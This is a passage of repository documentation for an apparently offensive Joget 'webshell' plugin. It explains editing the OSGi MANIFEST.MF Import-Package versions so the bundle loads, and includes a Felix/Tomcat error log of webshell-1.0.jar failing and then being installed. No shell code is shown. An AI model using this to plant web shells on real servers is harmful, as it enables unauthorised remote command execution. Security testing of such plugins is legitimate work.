Bundle-Name: sample 34 | Bundle-SymbolicName: sample 35 | Bundle-Version: 1.0.0 36 | Created-By: Apache Maven Bundle Plugin 5.1.4 37 | DynamicImport-Package: * 38 | Embed-Dependency: *;scope=compile|runtime;inline=false 39 | Embed-Directory: dependency 40 | Embed-StripGroup: true 41 | Embed-Transitive: true 42 | Embedded-Artifacts: dependency/servlet-api-2.3.jar;g="javax.servlet";a 43 | ="servlet-api";v="2.3",dependency/jsp-api-2.0.jar;g="javax.servlet";a 44 | ="jsp-api";v="2.0",dependency/json-20080701.jar;g="org.json";a="json" 45 | ;v="20080701",dependency/commons-collections-3.2.1.jar;g="commons-col 46 | lections";a="commons-collections";v="3.2.1",dependency/commons-lang-2 47 | .5.jar;g="commons-lang";a="commons-lang";v="2.5" 48 | Export-Package: sample;uses:="javax.servlet,javax.servlet.http,org.jog 49 | et.plugin.base,org.osgi.framework";version="1.0.0" 50 | Import-Package: org.joget.report.dao,org.joget.report.model,org.joget. 51 | report.service,org.joget.commons.util,org.joget.plugin.base,org.joget 52 | .plugin.property.model,org.joget.plugin.property.service,org.joget.di 53 | rectory.model,org.joget.directory.model.service,org.joget.directory.d 54 | ao,org.joget.workflow.model,org.joget.workflow.model.dao,org.joget.wo 55 | rkflow.model.service,org.joget.workflow.util,org.joget.apps.app.dao,o 56 | rg.joget.apps.app.lib,org.joget.apps.app.model,org.joget.apps.app.ser 57 | vice,org.joget.apps.datalist.lib,org.joget.apps.datalist.model,org.jo 58 | get.apps.datalist.service,org.joget.apps.form.lib,org.joget.apps.form 59 | .dao,org.joget.apps.form.model,org.joget.apps.form.service,org.joget. 60 | apps.list.service,org.joget.apps.userview.lib,org.joget.apps.userview 61 | .model,org.joget.apps.userview.service,org.joget.apps.workflow.lib,ja 62 | vax.servlet;version="[3.0,4)",javax.servlet.http;version="[3.0,4)",or 63 | g.osgi.framework;version="1.3.0" 64 | Require-Capability: osgi.ee;filter:="(&(osgi.ee=JavaSE)(version=1.7))" 65 | Tool: Bnd-5.1.1.202006162103 66 | ``` 67 | 68 | As we can see, the `Import-Package` contains specific versions of `javax.servlet;version="[3.0,4)"` and `javax.servlet.http;version="[3.0,4)"`. Therefore we need to remove these versions to get the following MANIFEST.MF: 69 | 70 | ``` 71 | Manifest-Version: 1.0 72 | Bnd-LastModified: 1647246564211 73 | Build-Jdk-Spec: 11 74 | Bundle-Activator: sample.Activator 75 | Bundle-ClassPath: .,dependency/servlet-api-2.3.jar,dependency/jsp-api- 76 | 2.0.jar,dependency/json-20080701.jar,dependency/commons-collections-3 77 | .2.1.jar,dependency/commons-lang-2.5.jar 78 | Bundle-ManifestVersion: 2 79 | Bundle-Name: sample 80 | Bundle-SymbolicName: sample 81 | Bundle-Version: 1.0.0 82 | Created-By: Apache Maven Bundle Plugin 5.1.4 83 | DynamicImport-Package: * 84 | Embed-Dependency: *;scope=compile|runtime;inline=false 85 | Embed-Directory: dependency 86 | Embed-StripGroup: true 87 | Embed-Transitive: true 88 | Embedded-Artifacts: dependency/servlet-api-2.3.jar;g="javax.servlet";a 89 | ="servlet-api";v="2.3",dependency/jsp-api-2.0.jar;g="javax.servlet";a 90 | ="jsp-api";v="2.0",dependency/json-20080701.jar;g="org.json";a="json" 91 | ;v="20080701",dependency/commons-collections-3.2.1.jar;g="commons-col 92 | lections";a="commons-collections";v="3.2.1",dependency/commons-lang-2 93 | .5.jar;g="commons-lang";a="commons-lang";v="2.5" 94 | Export-Package: sample;uses:="javax.servlet,javax.servlet.http,org.jog 95 | et.plugin.base,org.osgi.framework";version="1.0.0" 96 | Import-Package: org.joget.report.dao,org.joget.report.model,org.joget. 97 | report.service,org.joget.commons.util,org.joget.plugin.base,org.joget 98 | .plugin.property.model,org.joget.plugin.property.service,org.joget.di 99 | rectory.model,org.joget.directory.model.service,org.joget.directory.d 100 | ao,org.joget.workflow.model,org.joget.workflow.model.dao,org.joget.wo 101 | rkflow.model.service,org.joget.workflow.util,org.joget.apps.app.dao,o 102 | rg.joget.apps.app.lib,org.joget.apps.app.model,org.joget.apps.app.ser 103 | vice,org.joget.apps.datalist.lib,org.joget.apps.datalist.model,org.jo 104 | get.apps.datalist.service,org.joget.apps.form.lib,org.joget.apps.form 105 | .dao,org.joget.apps.form.model,org.joget.apps.form.service,org.joget. 106 | apps.list.service,org.joget.apps.userview.lib,org.joget.apps.userview 107 | .model,org.joget.apps.userview.service,org.joget.apps.workflow.lib,ja 108 | vax.servlet,javax.servlet.http,or 109 | g.osgi.framework;version="1.3.0" 110 | Require-Capability: osgi.ee;filter:="(&(osgi.ee=JavaSE)(version=1.7))" 111 | Tool: Bnd-5.1.1.202006162103 112 | ``` 113 | 114 | We're still working on a fix, but in the meantime you can do this patching automatically with the [patch.sh](../dev_env/patch.sh). 115 | 116 | Now we can import the plugin in JoGet without problems! 117 | 118 | ## References 119 | - https://thecarlhall.wordpress.com/2012/01/19/understanding-the-unresolved-constraint-missing-resource-message-from-apache-felix/ 120 | - https://thecarlhall.wordpress.com/2012/07/11/understanding-the-unresolved-constraint-missing-requirement-message-from-apache-felix-pt-2/ 121 | -------------------------------------------------------------------------------- /docs/Missing-requirement-error-while-importing-a-plugin-traceback.txt: -------------------------------------------------------------------------------- 1 | ERROR 14 Mar 2022 21:37:26 org.joget.plugin.base.PluginManager - Failed bundle start for org.joget.webshell [1]: org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.1): missing requirement [org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 2 | org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.1): missing requirement [org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 3 | at org.apache.felix.framework.Felix.resolveBundleRevision(Felix.java:4368) ~[org.apache.felix.main-6.0.2.jar:?] 4 | at org.apache.felix.framework.Felix.startBundle(Felix.java:2281) ~[org.apache.felix.main-6.0.2.jar:?] 5 | at org.apache.felix.framework.BundleImpl.start(BundleImpl.java:998) ~[org.apache.felix.main-6.0.2.jar:?] 6 | at org.apache.felix.framework.BundleImpl.start(BundleImpl.java:984) ~[org.apache.felix.main-6.0.2.jar:?] 7 | at org.joget.plugin.base.PluginManager.startBundle(PluginManager.java:374) [wflow-plugin-base-7.0.27.jar:?] 8 | at org.joget.plugin.base.PluginManager.upload(PluginManager.java:660) [wflow-plugin-base-7.0.27.jar:?] 9 | at org.joget.apps.app.controller.ConsoleWebController.consoleSettingPluginUploadSubmit(ConsoleWebController.java:4689) [classes/:?] 10 | at org.joget.apps.app.controller.ConsoleWebController$$FastClassBySpringCGLIB$$e1402d89.invoke() [classes/:?] 11 | at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) [spring-core-4.3.29.RELEASE.jar:4.3.29.RELEASE] 12 | at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:668) [spring-aop-4.3.29.RELEASE.jar:4.3.29.RELEASE] 13 | at org.joget.apps.app.controller.ConsoleWebController$$EnhancerBySpringCGLIB$$21e26a2e.consoleSettingPluginUploadSubmit() [classes/:?] 14 | at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:?] 15 | at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:?] 16 | at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:?] 17 | at java.lang.reflect.Method.invoke(Method.java:566) ~[?:?] 18 | at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 19 | at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 20 | at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 21 | at org.joget.commons.spring.web.ParameterizedAnnotationMethodHandlerAdapter.handle(ParameterizedAnnotationMethodHandlerAdapter.java:32) [wflow-commons-7.0.27.jar:?] 22 | at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 23 | at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 24 | at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 25 | at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 26 | at javax.servlet.http.HttpServlet.service(HttpServlet.java:681) [servlet-api.jar:?] 27 | at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846) [spring-webmvc-4.3.29.RELEASE.jar:4.3.29.RELEASE] 28 | at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) [servlet-api.jar:?] 29 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) [catalina.jar:8.5.72] 30 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 31 | at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) [tomcat-websocket.jar:8.5.72] 32 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 33 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 34 | at org.joget.apps.app.web.GitRequestFilter.doFilter(GitRequestFilter.java:40) [classes/:?] 35 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 36 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 37 | at org.displaytag.filter.ResponseOverrideFilter.doFilter(ResponseOverrideFilter.java:125) [displaytag-1.2.jar:?] 38 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 39 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 40 | at org.owasp.csrfguard.CsrfGuardFilter.doFilter(CsrfGuardFilter.java:88) [csrfguard-3.1.0.jar:3.1.0] 41 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 42 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 43 | at org.springframework.web.multipart.support.MultipartFilter.doFilterInternal(MultipartFilter.java:122) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 44 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 45 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 46 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 47 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 48 | at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 49 | at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 50 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 51 | at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:115) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 52 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 53 | at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 54 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 55 | at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 56 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 57 | at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 58 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 59 | at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 60 | at org.joget.apps.workflow.security.WorkflowHttpAuthProcessingFilter.doFilter(WorkflowHttpAuthProcessingFilter.java:86) [classes/:?] 61 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 62 | at org.springframework.security.web.authentication.www.BasicAuthenticationFilter.doFilterInternal(BasicAuthenticationFilter.java:158) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 63 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 64 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 65 | at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 66 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 67 | at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:121) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 68 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 69 | at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 70 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 71 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 72 | at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 73 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 74 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 75 | at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 76 | at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 77 | at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 78 | at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177) [spring-security-web-4.1.5.RELEASE.jar:4.1.5.RELEASE] 79 | at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 80 | at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 81 | at org.joget.commons.spring.web.CustomDelegatingFilterProxy.doFilter(CustomDelegatingFilterProxy.java:31) [classes/:?] 82 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 83 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 84 | at org.joget.apps.app.web.ExpireFilter.doFilter(ExpireFilter.java:48) [classes/:?] 85 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 86 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 87 | at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:197) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 88 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) [spring-web-4.3.29.RELEASE.jar:4.3.29.RELEASE] 89 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) [catalina.jar:8.5.72] 90 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) [catalina.jar:8.5.72] 91 | at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:196) [catalina.jar:8.5.72] 92 | at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) [catalina.jar:8.5.72] 93 | at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542) [catalina.jar:8.5.72] 94 | at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) [catalina.jar:8.5.72] 95 | at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) [catalina.jar:8.5.72] 96 | at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) [catalina.jar:8.5.72] 97 | at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:364) [catalina.jar:8.5.72] 98 | at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:624) [tomcat-coyote.jar:8.5.72] 99 | at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) [tomcat-coyote.jar:8.5.72] 100 | at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831) [tomcat-coyote.jar:8.5.72] 101 | at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1650) [tomcat-coyote.jar:8.5.72] 102 | at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-coyote.jar:8.5.72] 103 | at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) [tomcat-util.jar:8.5.72] 104 | at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) [tomcat-util.jar:8.5.72] 105 | at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-util.jar:8.5.72] 106 | at java.lang.Thread.run(Thread.java:829) [?:?] 107 | INFO 14 Mar 2022 21:37:27 org.joget.plugin.base.PluginManager - admin installed plugin (webshell-1.0.jar). 108 | ERROR 14 Mar 2022 21:37:27 org.joget.plugin.base.PluginManager - Failed bundle start for org.joget.webshell [1]: org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.2): missing requirement [org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 109 | org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.2): missing requirement [org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 110 | at org.apache.felix.framework.Felix.resolveBundleRevision(Felix.java:4368) ~[org.apache.felix.main-6.0.2.jar:?] 111 | at org.apache.felix.framework.Felix.startBundle(Felix.java:2281) ~[org.apache.felix.main-6.0.2.jar:?] 112 | at org.apache.felix.framework.BundleImpl.start(BundleImpl.java:998) ~[org.apache.felix.main-6.0.2.jar:?] 113 | at org.apache.felix.framework.BundleImpl.start(BundleImpl.java:984) ~[org.apache.felix.main-6.0.2.jar:?] 114 | at org.joget.plugin.base.PluginManager.startBundle(PluginManager.java:374) [wflow-plugin-base-7.0.27.jar:?] 115 | at org.joget.plugin.base.PluginManager.handleFileChange(PluginManager.java:264) [wflow-plugin-base-7.0.27.jar:?] 116 | at org.joget.plugin.base.PluginManager$1.onFileCreate(PluginManager.java:222) [wflow-plugin-base-7.0.27.jar:?] 117 | at org.apache.commons.io.monitor.FileAlterationObserver.doCreate(FileAlterationObserver.java:391) [commons-io-2.7.jar:2.7] 118 | at org.apache.commons.io.monitor.FileAlterationObserver.checkAndNotify(FileAlterationObserver.java:346) [commons-io-2.7.jar:2.7] 119 | at org.apache.commons.io.monitor.FileAlterationObserver.checkAndNotify(FileAlterationObserver.java:305) [commons-io-2.7.jar:2.7] 120 | at org.apache.commons.io.monitor.FileAlterationMonitor.run(FileAlterationMonitor.java:184) [commons-io-2.7.jar:2.7] 121 | at java.lang.Thread.run(Thread.java:829) [?:?] 122 | INFO 14 Mar 2022 21:37:27 org.joget.plugin.base.PluginManager - Installed plugin webshell-1.0.jar --------------------------------------------------------------------------------